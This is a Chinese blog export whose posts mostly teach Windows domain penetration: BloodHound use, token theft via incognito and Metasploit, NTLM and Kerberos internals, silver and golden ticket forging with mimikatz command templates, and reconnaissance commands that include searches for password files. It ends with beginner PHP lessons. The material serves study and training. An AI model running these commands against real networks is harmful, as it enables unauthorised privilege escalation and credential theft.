SharpHound 将自动确定什么领域当前用户属于，找到一个域控制器，用于这一领域，并启动 "默认" 收集方法。默认的收集方法将会收集的下列信息域控制器：

安全组成员身份
域信任
Abusable 权利上的活动目录的对象
小组政策的链接
OU 树形结构
几个属性，从计算机、小组和用户的对象
SQL 管理的链接

此外，SharpHound 将尝试收集以下信息从各个领域加入了 windows 计算机：

成员的地方管理程序，分布 COM 和远程管理组
活动的会议，其 SharpHound 将尝试相互关联的系统用户交互式登录在

当完成后，SharpHound 会创建这些类文件和将它们放入一个压缩文件

基本的使用

SharpHound.exe -c all

执行完毕后会生成一个 zip 文件

把这个文件导入到 BloodHound，把 zip 文件复制到 kali 点击 upload data

这里三个模块分别是
1 、 Database Info （数据库信息），可以查看当前数据库中的域用户、域计算机等统计信息。
2 、 Node Indo （节点信息），单击某个节点时，在这里可以看到对应节点的相关信息。
3 、 Analysis （分析查询），在 BloodHound 中预设了一些查询条件，具体如下：

右键节点分别是

设置为起始节点。
设置为结束节点。
到这里的最短路径。
从拥有的到这里的最短路径。
编辑节点。
将组标记为拥有。
将集团标记为高价值。
删除节点

Analysis 这里有一些预设好的查询

预构建的分析查询。
域信息。
查找所有域管理员。
映射域信任。
查找安装了不支持的操作系统的计算机。
危险的特权。
查找具有 DCSync 权限的主体。
具有外部域组成员身份的用户。
具有外部域组成员资格的组。
查找域用户为本地管理员的计算机。
查找域用户可以读取 LAPS 密码的计算机。
查找从域用户到高价值目标的所有路径。
查找域用户可以进行 RDP 的工作站。
查找域用户可以进行 RDP 的服务器。
查找域用户组的危险权限。
查找非域控制器的域管理员登录。
Kerberos 交互。
查找高价值组的 Kerberoastable 成员。
列出所有 Kerberoastable 帐户。
查找具有最大权限的 Kerberoastable 用户。
查找 AS-REP 可烘焙用户 (DontReqPreAuth)。
最短路径。
到无约束委托系统的最短路径。
来自 Kerberoastable 用户的最短路径。
从 Kerberoastable 用户到域管理员的最短路径。
自拥有的校长的最短路径。
从拥有的主体到域管理员的最短路径。
通向高价值目标的最短路径。
从域用户到高价值目标的最短路径。
查找通向域管理员的最短路径

官方文档

https://bloodhound.readthedocs.io/en/latest/further-reading/further-reading.html

Token窃取利用

2024-03-07T11:56:32.000Z

# 什么是 token

在 Windows 系统中，令牌是一种临时密钥，用于决定是否允许当前请求以及判断当前请求属于哪个用户。令牌包含用户安全标识符（SID）、权限列表等，这些令牌持续存在于系统中，除非系统重新启动。令牌的最大特点是随机性和不可预测性，一般的攻击者或软件都无法将令牌猜测出来。

访问令牌（Access Token）是描述进程或线程安全上下文的对象，包含与该用户账户相关的进程或线程的身份和权限信息。当用户登录时，系统通过将用户输入的密码与储存在安全数据库中的密码进行对比。若密码正确，系统将为用户生成一个访问令牌。之后，该用户执行的每个进程都会拥有一个该访问令牌的副本。

访问令牌包括：

授权令牌（Delegation Token），也叫主令牌，支持交互式会话登录（例如本地用户登录、远程桌面登录）

模拟令牌（Impresonation Token）支持非交互的会话（例如使用 net use访问共享文件夹）

密保令牌（Security Token）是一种用于实现计算机身份校验的物理设备，例如 U 盾。

会话令牌（Session Token）是交互会话中唯一的身份标识符。

令牌窃取是一种 Windows 上的提权攻击技术，攻击者可以通过获取系统中一个高权限进程的安全令牌，然后将其注入到一个低权限进程中，使得低权限进程可以获得高权限进程的访问权限。例如，域管理员在域内某台普通主机上留下未清除的令牌，攻击者可窃取域管理员的令牌以提升权限，从而执行各种恶意操作。

总之，令牌是 Windows 系统中用于控制访问权限的关键组件，了解其工作原理和安全性对于保护系统免受攻击至关重要。

# AccessToken 窃取与利用

前提是需要 administrator 管理员权限

# incognito 利用

incognito.exe list_tokens -u
#列出令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
#模拟system令牌切换到system权限

# MSF 的 incognito 模块

获取到 shell 后进入 incognito

use incognito

列出 token

list_tokens -u

impersonate_token “NT AUTHORITY\SYSTEM”

模拟 system 令牌

# 进程窃取 token

查看进程

steal_token 416

win协议认证知识

2024-03-05T06:48:19.000Z

# NTLM 协议

NTLM（NT LAN Manager）是一套由微软开发的安全协议套件，用于在基于 Windows 的网络中进行身份验证、完整性和机密性保护。NTLM 最初是在上世纪 90 年代初引入的，经过多次修订以增强安全性和功能现在已经更新了 NTMLv2 和 kerberos 协议。

# NTLM HASH

NT LAN Manager

长度为 32 位由数字字母组成是认证时的一个重要参照物

在 windows 中我们的密码通常不是以明文形式传输，而是以哈希值的形式。例如我们设置密码为 admin 密码就会被哈希处理保存在 SAM 数据库中当用户登录时，其密码首先被哈希处理，然后与存储在系统中的哈希值进行比较。

SAM 文件存储位置 C:\Windows\System32\config\SAM 是需要系统管理员权限才可以访问查看

# 本地认证流程

用户登录：当用户尝试登录到 Windows 系统时由 winlogon.exe 管理。
接收用户输入：用户在登录界面输入用户名和密码。winlogon.exe 负责接收这些用户输入。
验证用户凭据：一旦用户输入了凭据，winlogon.exe 将这些凭据传递给 Local Security Authority Subsystem Service (LSASS)，也就是 lsass.exe。
认证过程: lsass.exe 将收到的用户凭据与本地存储的凭据进行比对，这些凭据通常以 NTLM hash 的形式存储在本地安全账户数据库中。lsass.exe 会使用 NTLM hash 算法来验证用户提供的凭据。
访问授权：如果凭据验证成功，用户将被授权登录到系统，并获得相应的访问权限。如果验证失败，用户将被拒绝登录

# NTLM 认证详细流程

协商：客户端和服务器协商使用的 NTLM 协议版本。
挑战 / 响应：服务器向客户端发送一个挑战，客户端以用户凭据的哈希版本进行响应。
会话安全：如果凭证被验证，将建立一个用于客户端和服务器之间安全通信的会话密钥。

# 第一步先协商

客户端发起连接请求，并包含支持的 NTLM 协议版本列表。
服务器从客户端提供的列表中选择最高版本的 NTLM 协议 v1,v2 或者更早的 LM 协议，并向客户端发送选定的协议版本

# 第二步挑战 / 响应

首先服务端接收到来自客服端的用户名 test，然后查询本地账户有没有这个 test 用户

没有的话返回认证失败

有的话认证通过

接着服务端生成一个 Challenge 这是一个 16 字节的随机数每次都不同，然后找到 test 的 NTLM HASH 值并用这个加密 Challenge

生成一个 net-NTLM-HASH 存在内存中

将 Challenge 发送给客户端

客户端接收到 Challenge 后将 test 的密码转换为 NTMLHASH 然后对 Challenge 加密生成响应 response 也就是 net-NTLM-HASH

客户端的 response 发送给服务端

服务端收到 response 后与之前的 net-NTLM-HASH 进行比较如果相同的话认证通过

认证通过

# NTLMv1 和 v2 区别

安全性:
- NTLMv1: NTLMv1 使用较弱的密码哈希算法（如 LM hash 和 NTLM hash），并且缺乏足够的随机性和安全性措施。它容易受到中间人攻击、字典攻击和重放攻击的影响。
- NTLMv2: NTLMv2 引入了更强大的密码哈希算法，通常是使用更安全的算法，如 MD5 或 SHA-256。它还引入了更多的随机性和安全性措施，例如使用更复杂的挑战 / 响应过程，增加了消息完整性检查等。这使得 NTLMv2 比 NTLMv1 更难以被破解和攻击。
消息结构:
- NTLMv1: NTLMv1 的消息结构相对简单，通常包括挑战和响应等基本部分。它的消息格式不够复杂，容易受到中间人攻击和重放攻击的影响。
- NTLMv2: NTLMv2 引入了更复杂的消息结构，包括更多的字段和数据元素。它的消息结构更复杂，包含更多的随机数和安全性相关的字段，使得攻击者更难以破解或篡改通信内容。
兼容性:
- NTLMv1: 尽管 NTLMv1 已被证明存在较大的安全风险，但仍然存在一些环境和遗留系统可能仍在使用 NTLMv1。一些旧版的 Windows 系统和应用程序仍然可能使用 NTLMv1，因此在某些情况下可能无法完全避免。
- NTLMv2: NTLMv2 是更安全的选项，但需要双方都支持才能正常使用。在较新的 Windows 系统和网络环境中，NTLMv2 通常被推荐和优先使用，以提高系统的安全性和兼容性。

# NTLM-HASH 的安全问题

弱密码哈希：NTLM Hash 使用的是较旧的哈希算法（如 MD4 或 MD5），这些算法已经被证明不安全，容易受到字典攻击、暴力破解等攻击。
单向散列：NTLM Hash 是单向散列，即从密码计算出 Hash 值很容易，但从 Hash 值反推出原始密码非常困难。这导致了在没有盐（salt）的情况下，使用彩虹表等预先计算好的 Hash 值进行破解的可能性。
中间人攻击：NTLM 协议本身容易受到中间人攻击的影响。攻击者可以拦截 NTLM 挑战 - 响应消息，并使用这些消息来模拟客户端与服务器之间的通信，从而获得对目标系统的访问权限。

Pass The Hash 攻击：攻击者可以获取到 NTLM Hash 后，直接使用这个 Hash 进行身份验证，而无需知道用户的明文密码

# Kerberos 协议

Kerberos 是一种网络认证协议，其设计目标是通过系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的（如：共享密钥）执行认证服务的。

麻省理工研发了 Kerberos 协议来保护 Project Athena 提供的网络服务器。这个协议以希腊神话中的人物 Kerberos 命名，他是一条凶猛的三头保卫神犬

# kerberos 一些术语

AS（Authentication Server）- 认证服务器：
- AS 是 Kerberos 协议中的组件，用于对用户进行身份验证。它负责接收用户的认证请求，并在验证用户身份后向用户颁发 TGT。
KDC（Key Distribution Center）- 密钥分发中心：
- KDC 是 Kerberos 协议中的总称，由 AS 和 TGS 组成。KDC 通常指的是单个服务器，同时扮演 AS 和 TGS 的角色。
TGT（Ticket Granting Ticket）- 票据授权票据：
- TGT 是 Kerberos 协议中的票据类型，用于访问 Kerberos 受信任的服务。获得 TGT 后，用户可以向 TGS 请求访问特定服务的票据。
TGS（Ticket Granting Server）- 票据授权服务器：
- TGS 是 Kerberos 协议中的组件，负责颁发给用户用于访问特定服务的服务票据。用户通过提供 TGT 向 TGS 请求服务票据。
SS（Service Server）- 特定服务提供端：
- SS 是 Kerberos 协议中的服务端，提供特定的网络服务，例如文件共享、电子邮件等。SS 验证客户端提供的服务票据，并在票据有效时提供服务。

参与认证的三个角色

# 客户端（Client）：
- 客户端是发起身份验证请求的一方。在 Kerberos 中，客户端通常是用户或者用户所在的计算机，它们希望获得访问域资源的权限。
服务端（Service Server）：
- 服务端是接收身份验证请求的一方，并向客户端提供网络服务。服务端可以是任何提供网络服务的实体，如文件服务器、打印服务器、应用程序服务器等。
密钥分发中心（Key Distribution Center，KDC）：
- 密钥分发中心是 Kerberos 协议的关键组件，负责处理身份验证请求并颁发票据。KDC 通常包含两个主要部分：
  - AS（Authentication Server）：负责接收客户端的身份验证请求，并向客户端颁发 TGT（Ticket Granting Ticket，票据授权票据）。
  - TGS（Ticket Granting Server）：负责接收客户端的 TGT，并向客户端颁发用于访问特定服务的服务票据。

# Kerberos 认证流程

客户端向域控制器请求访问服务器：客户端首先向域控制器（DC）发送一个请求，请求访问服务器。DC 通过查询活动目录（AD）来确定客户端是否可信。
域控制器返回 TGT 给客户端：如果客户端被认证为可信，DC 会返回一个 Ticket Granting Ticket（TGT）给客户端。
客户端使用 TGT 请求访问服务器：客户端持有 TGT，然后向 DC 请求访问服务器。Ticket Granting Service（TGS）通过检查客户端消息中的 TGT 来判断客户端是否有访问权限。
如果客户端有访问权限，DC 会给客户端一个服务票据：如果客户端有访问权限，DC 会给客户端一个服务票据（Service Ticket，ST）。这个票据授予客户端访问服务器的权限。
客户端使用服务票据访问服务器：客户端得到服务票据后，就可以用这个票据去访问服务器。这个票据只对这个服务器有效。
服务器和客户端建立通信：最后，服务器和客户端建立通信。

# 详细流程

•ASREQ & ASREP
•TGSREQ & TGSREP
•AP-REQ & AP-REP

# 第一部分 ASREQ & ASREP

客户端向 KDC 发送一个 AS_REQ 请求里面信息包括 Kerberos 协议的版本号，用户名，请求类型，哈希值 NTLM-Hash 加密的时间戳

还有一些服务器信息，接着 AS 接收到请求后向 AD 查询是否有此用户信息有的话会拿出该用户的 NTLM-Hash 对加密的时间戳进行解密

五分钟之内预认证成功，认证通过后 KDC 生成两个东西分别是用于客户端和 KGS 之间通信的用客户端用户的 NTLM-HASH 加密的会话密钥 Session Key，和 Ticket Granting Ticket 票据授权票据

TGT：

AS 使用 KDC 账户（通常是 Krbtgt 用户，是域控制器创建时自动生成的特殊账户）的 NTLM-Hash 对 Session-key AS、时间戳和客户端信息等进行加密，这个加密过程确保了 TGT 的安全性和机密性，只有 KDC 账户的 NTLM-Hash 才能解密 TGT 并提取其中的信息，然后将加密后的 Session-key AS、时间戳、客户端信息以及 PAC 等信息组合起来，形成 TGT 因为使用服务端 Krbtgt 用户 NTLM-HASH 加密的所以客户端是解不开 TGT 的，TGT 一般为 8 小时有效期

PAC（Privilege Attribute Certificate）是 TGT 中的一个重要部分，包含了客户端的安全标识符（SID）、所在组等信息。PAC 用于后续的授权过程，以确保客户端在获取服务票据时具有适当的权限。

# 第二部分 TGSREQ & TGSREP

该阶段是客户端和 TGS 的认证，通过认证以后获得 ST 服务票据

客户端接收到回复后获取到 Session key AS 和 TGT，接着将会用 NTLM-HASH 解密 session key AS 得到未加密 sessin key AS

然后将这些缓存到本地，客户端如果想获取什么服务就会拿着获取的 TGT 加上 Session-Key AS 加密时间戳、Client-info、Server-info 等数据组成 TGSREQ 去请求 TGS 购买 ST 服务票据

TGS 收到后

解密 TGT 并验证时间戳：
- TGS 收到客户端的 TGSREQ 请求后，使用 Krbtgt 用户的 NTLM-hash 解密 TGT，得到其中的 Session-key AS、时间戳、Client-info 和 Server-info 等信息。
- TGS 使用 Session-key AS 解密 TGT 中的信息，得到 Client-info 和时间戳。然后 TGS 将获取到的时间戳与当前时间进行比较，如果时间戳与当前时间相差太久，则需要重新进行身份验证。
验证客户端信息和权限：
- TGS 进一步比较 TGT 中的 Client-info 与 TGSREQ 请求中的 Client 信息，确保两者一致性。
- 如果客户端信息验证通过，并且客户端有权限访问请求的服务，则认证成功。
生成 Session-key TGS 并加密：
- 如果身份验证成功，TGS 生成一个用于客户端和服务器之间通信的会话密钥，称为 Session-key TGS。
- TGS 使用 Session-key AS 加密 Session-key TGS，并将其作为 TGS_REP 响应的一部分发送给客户端，确保通信的安全性。
生成 ST 并加密：
- 另一部分是 TGS 使用目标服务器（Server）的 NTLM-Hash 加密 Session-key TGS、时间戳以及 Client-info 等数据，生成服务票据（Service Ticket，ST）。
- TGS 将这个 ST 作为 TGS_REP 响应的一部分发送给客户端

# 第三部分 AP-REQ & AP-REP

客户端在收到 TGS 的响应（TGS_REP）后，会使用它的会话密钥（Session-key AS）解密出新的会话密钥（Session-key TGS），并将其存储在本地。然后，当客户端需要访问服务时，它会使用新的会话密钥（Session-key TGS）加密其身份信息（Client-info）和时间戳，然后将其与服务票据（ST）一起发送给服务服务器。这个请求被称为 AP_REQ。

服务服务器在收到 AP_REQ 请求后，会使用它的 NTLM-Hash 解密服务票据（ST），得到新的会话密钥（Session-key TGS），然后使用这个密钥解密客户端的身份信息（Client-info）和时间戳。然后，服务服务器会将解密出的信息与服务票据（ST）中的信息进行比较，以验证客户端的身份。

一旦客户端通过了身份验证，服务服务器就会使用 PAC（Privilege Attribute Certificate）去询问域控制器（DC）客户端是否有访问服务的权限。域控制器在接收到 PAC 后，会解密 PAC，然后通过 PAC 中的 SID（Security Identifier）来判断客户端的用户组信息和权限。然后，域控制器会将结果返回给服务服务器，服务服务器再将这些信息与服务资源的访问控制列表（ACL）进行比较，最后决定是否给客户端提供服务。

# Kerberos 的安全问题

票据伪造（Ticket Forgery）：攻击者可能会尝试伪造 Kerberos 票据，以获取未经授权的访问权限。这包括黄金票据和白银票据攻击，其中黄金票据是伪造 TGT（Ticket Granting Ticket）来获取对整个 Kerberos 域的访问权限，而白银票据则是伪造 TGS（Ticket Granting Service Ticket）以获取对特定服务的访问权限。
中间人攻击（Man-in-the-Middle Attacks）：在 Kerberos 认证中，如果攻击者能够截获通信并伪装成合法用户与服务器进行通信，则可以执行中间人攻击。这种攻击可以导致信息泄露、数据篡改等问题。
票据重放（Ticket Replay）：攻击者可能会捕获到有效的 Kerberos 票据，然后重放这些票据来获取访问权限。这种攻击可能导致身份伪造和未经授权的访问。

# 白银票据（Silver Tickets）

白银票据（Silver Ticket）是一种利用 Kerberos 认证系统的漏洞来实现非授权访问的攻击方式。在 Kerberos 协议中，PAC（Privilege Attribute Certificate，特权属性证书）是一个用于存储用户的安全信息、组成员身份以及授权信息的数据结构。PAC 由 Kerberos 服务器（KDC）在授予用户票据时生成，并附加在票据中。

攻击者通过获取用户的用户名和密码哈希值等信息，可以伪造 TGS（Ticket Granting Service Ticket）以请求访问网络资源。然而，TGS 本身并不包含 PAC。攻击者之所以能够成功利用白银票据攻击，是因为部分服务在处理 TGS 时并不验证 PAC，因此攻击者可以伪造 TGS，并不需要伪造 PAC 就能够获取非授权访问权限。

这种情况下，即使攻击者无法生成完整有效的 PAC，服务端仍然会授予其访问权限，因为服务端未对 PAC 进行验证。因此，白银票据攻击的成功前提之一就是目标服务对 PAC 的验证不严格，从而允许攻击者利用这一漏洞来获取非授权访问权限

白银票据就是伪造 ST 去请求服务而有些服务是不需要验证 PAC 的只需要有 ST 就可以，而制作 ST 是需要目标服务器（Server）的 NTLM-Hash

# 制作条件

域名

域 sid

目标服务器名

服务账号的 NTML HASH

伪造的用户名

不需要验证 PAC 的服务

# mimikatz 工具伪造

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt

# 黄金票据 Golden ticket

白银票据是伪造的 ST 而黄金票据伪造的是 TGT 就是 AS 返回给客户端的用来向 TGS 请求服务 ST 用的，获得 TGT 后，用户可以向 TGS 请求访问特定服务的票据。

TGT 使用 Krbtgt 用户 NTLM-HASH 加密的所以我们获取到 Krbtgt 用户 NTLM-HASH 就可以伪造 TGT 了

域名称

域的 SID 值

KRBTGT 账号的 HASH

伪造任意用户名

mimikatz 命令

kerberos::golden /admin: 用户名 /domain: 域名 /sid: 域 sid /krbtgt:NTLM HASH /ticket: 票据名称
后面会详细讲

# 白银票据黄金票据区别

# 白银票据

白银票据需要服务器账号的 NTLM HASH

白银票据伪造的是 ST

白银票据只能访问部分不需要验证 PAC 的服务

白银票据不与 KDC 交互可以拿着伪造的 ST 去访问服务器

# 黄金票据

黄金票据需要域 Krbtgt 用户 NTLM-HASH

黄金票据伪造的是 TGT

黄金票据可以访问所有服务

黄金票据不和 AS 交互但是和 KDC 交互因为要拿着伪造的 TGT 去 TGS 请求 ST

内网信息收集

2024-03-03T09:22:07.000Z

进入内网后要对当前网络环境进行判断

判断出当前机器所处网络环境的拓扑，以及当前电脑在内网是什么角色当前机器的权限

# 本机信息收集

# 查询网络配置信息

ipconfig /all

# 查看用户详细信息

whoami /all

# 查看系统版本补丁等

systeminfo 可查看系统信息打了那些补丁为后续提权查找漏洞准备

# 查看系统启动的服务

net start

# 查看系统进程

# 查看主机计划任务列表

# 查看本机用户域用户

net user net user /domain

# 查询域数量

net view /domain

# 查询域组

net group /domain

# 查询域中的 “Domain Admins” 组的成员

net group "domain admins" /domain

# 查询域时间主域名

net time /domain

主域名为 ad01.yunyi.io

# 查 ARP 缓存

arp -a

# 查环境变量

set

# 查看安装软件的版本信息

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

# 域信任列表信息

nltest /domain_trusts

# 防火墙配置信息

netsh firewall show config

# 网络详细信息

ipconfig /all 可看到有域 yunyi.io

# 查看网络端口信息

netstat -ano

# 查杀软查提权

tasklist 查看当前计算机上所有进程的列表

systeminfo

查完补丁信息可以去 https://i.hacking8.com/tiquan/ 查询

获取系统运行软件

识别杀软

查询当前工作环境

# 敏感文件密码收集

#指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak


find /etc/ -name passwd -exec grep "root" {} \; > /tmp/test.txt
find /etc/ -name passwd -exec grep -H "root" {} \;
/etc/passwd:root:x:0:0:root:/root:/bin/bash
/etc/passwd:operator:x:11:0:operator:/root:/sbin/nologin

# 易受攻击的常见端口

80 / 8080 HTTP 　　　　　　　　　　　　　　　　　　　　　Web 攻击 \ 爆破 \ 对应服务器版本漏洞

443 HTTPS 同上

7001/7002 WebLogic 控制台　　　　　　　　　　　　　　　　　　　　　　java 反序列化 \ 弱口令

8080 /8089 Jboss/Resin/Jetty/Jenkins 　　　　　　　　　　　　　　　反序列化 \ 控制台弱口令

9090 WebSphere 控制台 　　　　　　　　　　　　　　　　　java 反序列化 \ 弱口令

4848 GlassFish 控制台　　　　　　　　　　　　　　　　　弱口令

1352 Lotus domino 邮件服务弱口令 \ 信息泄露 \ 爆破

10000 Webmin-Web 控制面板弱口令

3306 MySQL　　注入 \ 提权 \ 爆破

1433 SQLserver 注入 \ 提权 \SA 弱口令 \ 爆破

1521 Oracle 数据库 TNS 爆破 \ 注入 \ 反弹 Shell

5432 PostgreSQL 数据库爆破 \ 注入 \ 弱口令

27017 / 27018 MongoDB 爆破 \ 未授权访问

6379 Redis 数据库可尝试未授权访问 \ 弱口令爆破

5000 SysBase/DB2 数据库爆破 \ 注入

25 SMTP 邮件服务邮件伪造

110 POP3 协议爆破 \ 嗅探

143 IMAP 协议爆破

53 DNS 域名系统允许区域传送 \DNS 劫持 \ 缓存投毒 \ 欺骗

67 / 68 DHCP 服务劫持 \ 欺骗

161 SNMP 协议爆破 \ 搜集目标内网信息

2181 Zookeeper 服务未授权访问

8069 Zabbix 服务远程执行 \ SQL 注入

9200 /9300 Elasticsearch 服务远程执行

11211 Memcache 服务未授权访问

512 / 513 /514 Linux Rexec 服务爆破 \ Rlogin 登陆

873 Rsync 服务匿名访问 \ 文件上传

3690 Svn 服务 Svn 泄露 \ 未授权访问

50000 SAP Management Console 远程执行

# 存活主机探测

# icmp 协议探测

win

for /L %I in (1,1,254) Do @ping -w 1 -n 1 10.10.10.%I | findstr "TTL"

linux

for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

但是速度太慢

# Invoke-TSPingSweep.ps1

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135"

# ARP-scan

arp-scan -t 10.10.10.0/24

# nbtscan

http://www.unixwiz.net/tools/nbtscan.html

nbtscan 10.10.10.0/24

# tcping

https://elifulkerson.com/projects/tcping.php

tcping -n ip 端口

# fscan

https://github.com/shadow1ng/fscan

fscan.exe -h 10.10.10.1-255 -p 22,445

NTLMRelay

2024-03-03T09:22:07.000Z

公有云

2024-02-19T07:32:52.000Z

公有云介绍

if-else

2023-12-12T09:08:36.000Z

# if

	if 语句用于仅当指定条件成立时执行代码。
	语法

	if (条件)
	{
	条件成立时要执行的代码;
	}
	<?php
	$b = 2;
	if ($b = 2) {
	echo "对"
	}

# if-else

	语法
	if (条件)
	{
	条件成立时执行的代码;
	}
	else
	{
	条件不成立时执行的代码;
	}

	<?php
	$a = 3;
	if ($a > 2) {
	echo "对";
	}else {
	echo "错";
	}

# if…elseif…else 语句

	语法

	if (条件)
	{
	if 条件成立时执行的代码;
	}
	elseif (条件)
	{
	elseif 条件成立时执行的代码;
	}
	else
	{
	条件不成立时执行的代码;
	}

	<?php
	$v = date("h");
	if ($v < 10) {
	echo "不到10点";
	}elseif ($v < 20){
	echo "10点到20之间";
	}else {
	echo "20小时以上";
	}

# switch

	<?php
	switch (expression) {
	case value1:
	// 代码块 1
	break;
	case value2:
	// 代码块 2
	break;
	// 更多的 case 语句
	default:
	// 如果没有匹配的值
	}
	?>

	<?php
	$m = "草莓";
	switch ($m){
	case "苹果":
	echo "你喜欢苹果";
	break;
	case "鸭梨":
	echo "你喜欢吃鸭梨";
	break;
	case "草莓";
	echo "你喜欢吃草莓";
	break;
	default:
	echo "爱吃不吃";
	}
	?>
	#b
	<?php
	$num = 3;

	switch ($num > 5) {
	case true:
	echo "Number is greater than 5";
	break;
	case false:
	echo "Number is less than or equal to 5";
	break;
	}
	?>
	case #$m值等于某个 case 的值，就执行相应的代码块。
	break #终止 switch 语句，防止继续执行下一个 case
	default #没有选项符合时执行此代码段

PHP常量

2023-12-12T09:00:23.000Z

在 PHP 中，常量是不可变的标识符（名称），用于表示一个简单值的容器。常量一旦定义后，在脚本的其余部分无法更改或重新定义。以下是有关 PHP 常量的详细信息：

# 定义常量

在 PHP 中，有两种定义常量的方式：

使用 define() 函数：

<?php
define("CONSTANT_NAME", "constant_value");
echo CONSTANT_NAME;
?>

使用 const 关键字（PHP 5.3 及以上版本）在类中定义常量：

	<?php
	class MyClass {
	const PI = 3.14;
	const APP_NAME = "MyApp";
	}
	echo MyClass::PI;
	echo MyClass::APP_NAME;
	?>

# 常量命名规则

常量名称通常使用大写字母。
常量名称可以包含字母、数字和下划线（但不能以数字开头）。
常量名称是区分大小写的（与变量不同）。

# 访问常量

无论是使用 define() 定义的常量还是在类中使用 const 定义的常量，都可以通过常量名称来访问。

	echo CONSTANT_NAME;
	echo MyClass::PI;

# 预定义常量

PHP 还提供了一些预定义常量，这些常量可供直接使用，无需定义。

PHP_VERSION ：PHP 当前版本。
PHP_OS ：PHP 运行的操作系统。
__FILE__ ：当前文件的路径和文件名。
__LINE__ ：当前代码行号。
__CLASS__ ：当前类的类名。
__FUNCTION__ ：当前函数的函数名。

# 删除常量

在 PHP 中，无法删除已定义的常量。一旦定义，常量就会在脚本的其余部分保持不变。

常量在编写 PHP 代码时非常有用，用于存储不变的值，如配置信息、常用数学常数等。

# 常量的特点

不可变性：常量一旦被定义就无法被修改或重新定义。
全局性：使用 define() 定义的常量在整个脚本中均可访问。
编译时计算：常量的值在编译时确定，不能在运行时修改。

PHP类型比较

2023-12-12T08:45:35.000Z

# PHP 类型比较

在 PHP 中，有不同的方式可以进行类型比较。这些比较方式包括：

松散比较（Loose comparison）：使用双等号 == 进行比较。在松散比较中，PHP 会尝试进行类型转换，然后再比较值。例如：

	<?php
	$a = 10; // int
	$b = '10'; // string
	if ($a == $b) {
	// 这里的条件为真，因为在松散比较中，PHP 会将字符串 '10' 转换为整数 10，然后进行比较
	}
	?>

严格比较（Strict comparison）：使用三个等号 === 进行比较。在严格比较中，PHP 不会进行类型转换，它会比较值和类型。如：

	<?php
	$a = 10; // int
	$b = '10'; // string

	if ($a === $b) {
	// 这里的条件为假，因为在严格比较中，类型不同（int 和 string），所以条件不成立
	}
	?>

# 不等于 `!=` 和不全等于 `!==`

	<?php
	$a = 10; // int
	$b = '10'; // string

	if ($a != $b) {
	// 在不等于比较中，条件为假，因为 '10' 会被转换为整数 10
	}

	if ($a !== $b) {
	// 在不全等于比较中，条件为真，因为类型不同（int 和 string）
	}
	?>

php数据类型

2023-11-16T12:33:47.000Z

String（字符串）：用于表示文本数据的数据类型，使用单引号或双引号括起来。

Integer（整数）：用于表示整数值，可以是正数、负数或零。

Float（浮点数）：用于表示带有小数部分的数值。

Boolean（布尔值）：用于表示 true 或 false 两种状态。

Array（数组）：用于存储多个值的集合，可以是索引数组或关联数组。

Object（对象）：用于存储数据和操作的实例。

NULL（空值）：用于表示变量没有值。

Resource（资源）：特殊数据类型，表示外部资源（如数据库连接）的引用。

# 字符串

字符串通过双引号单引号包裹

使用双引号 "" 括起来的文本。双引号字符串允许解析变量和转义字符。

字符串还支持转义字符，例如：

\n : 换行符
\t : 制表符
\\ : 反斜杠
\" : 双引号
\' : 单引号
字符串也支持连接操作符 . 用于连接两个字符串：

	<?php
	$a = '字符串-1234-GGGG';
	echo $a;
	echo "你好\n";
	$b = "burp";
	echo $a . $b;
	?>

# 字符串处理

在 PHP 中，有许多内置函数用于处理字符串。这些函数可以用于查找、截取、替换、转换大小写等操作。

strlen()：获取字符串长度。
strpos()：查找子串在字符串中第一次出现的位置。
substr()：从字符串中提取子串。
str_replace()：替换字符串中的部分内容。
strtoupper() / strtolower()：将字符串转换为大写 / 小写。
trim()：去除字符串两端的空格或特定字符。
explode() / implode()：将字符串拆分为数组 / 将数组元素连接成字符串。
printf() / sprintf()：格式化字符串输出。
str_split()：将字符串拆分为字符数组

	// strlen()函数
	<?php
	$str = 'uyuyuyuyuyuyuyuoooooo';
	$length = strlen($str); // $length 等于 21
	echo $length // 输出 21
	?>

	<!--substr () 从字符串中提取子串 -->
	<?php
	$pos = 'ls-cat-burp-xss-sql';
	$iu = substr($pos,0,3); // 截取 0 到 3
	echo $iu // 输出 ls-
	?>

	<!--strpos () 查找子串在字符串中第一次出现的位置 -->
	<?php
	$pos = 'ls cat burp xss sql';
	$iu = strpos($pos,'xss');
	echo $iu // 输出 12
	?>

	<!--str_replace () 替换 -->
	<?php
	$mm = '你好，python';
	$zz = str_replace('python','php',$mm);// 将 python 替换为 php
	echo $zz // 输出你好，php
	?>

	<!--strtoupper () 转换为大写 strtolower () 转换为小写 -->
	<?php
	$qq = 'qweasdzxc';
	$oo = 'QWERTYUIOP';
	$aa = strtoupper($qq);// 转换为大写
	echo $aa;
	$bb = strtolower($oo);// 转换为小写
	echo $bb;
	?>

